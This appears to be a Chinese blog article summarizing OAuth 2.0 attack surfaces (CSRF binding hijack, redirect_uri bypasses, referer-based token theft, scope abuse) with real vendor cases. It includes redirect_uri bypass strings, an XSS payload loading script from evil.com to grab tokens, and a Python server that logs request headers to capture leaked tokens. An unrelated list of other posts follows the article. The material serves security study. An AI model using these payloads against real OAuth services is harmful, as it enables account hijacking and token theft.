OAuth 2.0攻击面与案例总结
本文整理了OAuth 2.0的攻击面+实际案例+辅助测试代码。
OAuth流程
本文以两种广泛使用的方案为标准展开.。如对流程不了解,请先移步学习: 理解OAuth 2.0
Authorization Code
- response_type = code
- redirect_uri
- scope
- client_id
- state
Implicit
- response_type = token
- redirect_uri
- scope
- client_id
- state
攻击面
- CSRF导致绑定劫持
- redirect_uri绕过导致授权劫持
- scope越权访问
绑定劫持
攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的帐号会同攻击者的帐号绑定到一起。
OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.除此方法外也可使用传统的CSRF防御方案.
案例: 人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞
授权劫持
根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持.
正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:
未验证
未验证的情况,可以直接跳出外域.
验证绕过
auth.app.com.evil.comevil.com?auth.app.comevil.com?@auth.app.com案例:腾讯OAuth平台 redirect_uri 过滤不严可能导致用户信息遭窃取(二)auth.app.com@evil.com案例:绕过网易oauth认证的redirect_uri限制劫持帐号tokenauth.app.com\@evil.com案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取(四)evil.com\auth.app.comevil.com:\auth.app.comevil.com\.auth.app.com案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取evil.com:\@auth.app.com案例:新浪微博OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取- 宽字符绕过 案例: 腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取(三)
子域可控
对回调地址验证了主域为
app.com,但其子域evil.app.com可被任意用户注册使用.
跨域
利用可信域的url跳转从referer偷取token
如果网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量
redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com认证服务器将凭证通过GET方法发送到
redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.利用跨域请求从referer偷取token
在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.
例1
redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取evil.com/test.jpg,这时攻击者即可从请求头的referer拿到token例2 利用XSS实现跨域
redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>
越权访问
这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致.
辅助验证脚本
一个简易服务器,会记录来访者的请求头.
1. Python picserver.py [可选端口号]
2. 打开浏览器访问图片或页面地址
3. 查看日志
4. 清除日志
import BaseHTTPServer
import datetime
import sys
import os
SERVER = '0.0.0.0'
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333
LOG_PATH = 'reqlog.txt'
class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if '.png' in self.path:
print self.path
fname = '1.png'
elif '.jpg' in self.path:
fname = '1.jpg'
elif '.gif' in self.path:
fname = '1.gif'
elif '.html' in self.path:
fname = 'index.html'
elif 'clear' in self.path:
os.remove(LOG_PATH)
self.send_response(200)
self.end_headers()
self.wfile.write('ok')
return
else:
self.send_response(200)
self.end_headers()
try:
self.wfile.write(open(LOG_PATH, 'r').read())
except IOError:
print '[*]Create logfile: ' + LOG_PATH
return
message_parts = ['<br>===== [%s] %s =====' % (self.path, datetime.datetime.today())]
for name, value in sorted(self.headers.items()):
message_parts.append('%s: %s' % (name, value.strip()))
message = '<br>'.join(message_parts) + '<br>'
with open(LOG_PATH, 'a') as f:
f.write(message)
self.send_response(200)
self.end_headers()
self.wfile.write(open(fname, 'rb').read())
print '[*]Starting server at %s:%d' % (SERVER, PORT)
server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler)
server.serve_forever()
效果:
参考
- 理解OAuth 2.0 – 阮一峰
- 从“黑掉Github”学Web安全开发 – 陈皓
- 利用OAuth劫持用户身份(Kcon 2014) – 蓝色di雪球
- 乌云已公开漏洞
OAuth 2.0攻击面与案例总结的更多相关文章
- OAuth 2.0攻击
参考文章:https://www.yuque.com/pmiaowu/web_security_1/oauth 作者:PHPoop 关于OAuth2.0协议的授权流程可以参考下面的流程图: 1.Cli ...
- OAuth 2.0 安全案例回顾
原文:http://drops.wooyun.org/papers/598 0x00 背景 纵观账号互通发展史,可以发现OAuth比起其它协议(如OpenID)更流行的原因是,业务双方不仅要求账号本身 ...
- OAuth 2.0安全案例回顾
转载自:http://www.360doc.com/content/14/0311/22/834950_359713295.shtml 0x00 背景 纵观账号互通发展史,可以发现OAuth比起其它协 ...
- OAuth 2.0 授权认证详解
一.认识 OAuth 2.0 1.1 OAuth 2.0 应用场景 OAuth 2.0 标准目前被广泛应用在第三方登录场景中,以下是虚拟出来的角色,阐述 OAuth2 能帮我们干什么,引用阮一峰这篇理 ...
- OAuth 2.0 授权方式讲解,规范实践和应用
基于实践说规范 网上看了一些OAuth 2.0的授权方法,尽管讲解的没有什么逻辑性错误,但是存在一个问题,那就是单纯的讲解协议规范却脱离了实际的应用,缺少干货,所以才有了这篇文章,内容基于实际业务进行 ...
- 如何通过 OAuth 2.0 使 iOS Apps 集成 LinkedIn 登录功能?
社交网络早已成为人们日常生活的一部分.其实,社交网络也是编程生活的一部分,大多数 App 必须通过某种方式与社交网络交互,传送或接收与用户相关的数据.大多数情况下,用户需要登录某种社交网络,授权 Ap ...
- 构建微服务-使用OAuth 2.0保护API接口
微服务操作模型 基于Spring Cloud和Netflix OSS 构建微服务-Part 1 基于Spring Cloud和Netflix OSS构建微服务,Part 2 在本文中,我们将使用OAu ...
- OAuth 2.0 授权码请求
关于OAuth 2.0,请参见下面这两篇文章(墙裂推荐): <OAuth 2.0> <Spring Security OAuth 2.0> 纸上得来终觉浅,绝知此事要躬行.理论 ...
- OAuth 2.0授权之授权码授权
OAuth 2.0 是一个开放的标准协议,允许应用程序访问其它应用的用户授权的数据(如用户名.头像.昵称等).比如使用微信.QQ.支付宝登录等第三方网站,只需要用户点击授权按钮,第三方网站就会获取到用 ...
随机推荐
- day4之函数
很快就第4天了,原来人是有惰性的,博客现在就不想写了,真是悲催,坚持,憋住. 函数 def func(name): print(name) func("huihuang") 函数定 ...
- 安装php时的配置选项
./configure --prefix=/home/samba/anthony/web --enable-mbstring --enable-fastcgi --enable-fpm --with- ...
- 修改 页面中默认的select样式
select样式定制: select { /*Chrome和Firefox里面的边框是不一样的,所以复写了一下*/ border: solid 1px #000; /*很关键:将默认的select选择 ...
- ie6下absolute:fixed问题,完美兼容
普通css代码 .fix_foot{height: 30px; background: #ff0000; position: %; z-index:;} ie6兼容代码 * html,* html b ...
- setTimeout 导致的浏览器假死
问题 前几天,同事遇到一个浏览器假死的问题.就是浏览器在响应一个请求的时候,就突然不响应时间,进入假死状态,Cup也飙升到100%. 但是这个问题只出现在IE浏览器,chrome和Firefox等 ...
- web前端工程师校园招聘要求
小燕子对紫薇说:“这辈子也别想着进皇宫了”.可后来她们不但进了宫,还都当上了格格.你在想什么?走呗! 1.去哪了网 前端开发工程师 工作地点:北京 工作职责: 负责去哪儿网各产品线Web前端研发: 负 ...
- RL中“#” “?” &“”号的作用
阅读目录 1. # 2. ? 3. & 回到顶部 1. # 10年9月,twitter改版.一个显著变化,就是URL加入了"#!"符号.比如,改版前的用户主页网址为http ...
- CSS核心的几个概念
盒模型.position.float.他们是css的基础,之间看似独立却又相辅相成. 元素类型 块级元素.内联元素 他们之间有以下区别: 1.块级元素独占一行,除非显示的修改display属性.而内联 ...
- word中那些重要但是被人忽略的快捷键和长word文档的跳转
重复上一次操作: F4, 这个太重要了,比如你在做一次很复杂的操作, 下一次又要这样操作时就很有用! 如设置 文字的 段落背景/ 底纹颜色!时要多次设置这个时就 非常有用! 段落缩进:ctrl+M : ...
- MYSQL 连接数据库命令收藏
一.MySQL 连接本地数据库,用户名为“root”,密码“123”(注意:“-p”和“123” 之间不能有空格) C:\>mysql -h localhost -u root -p123 二. ...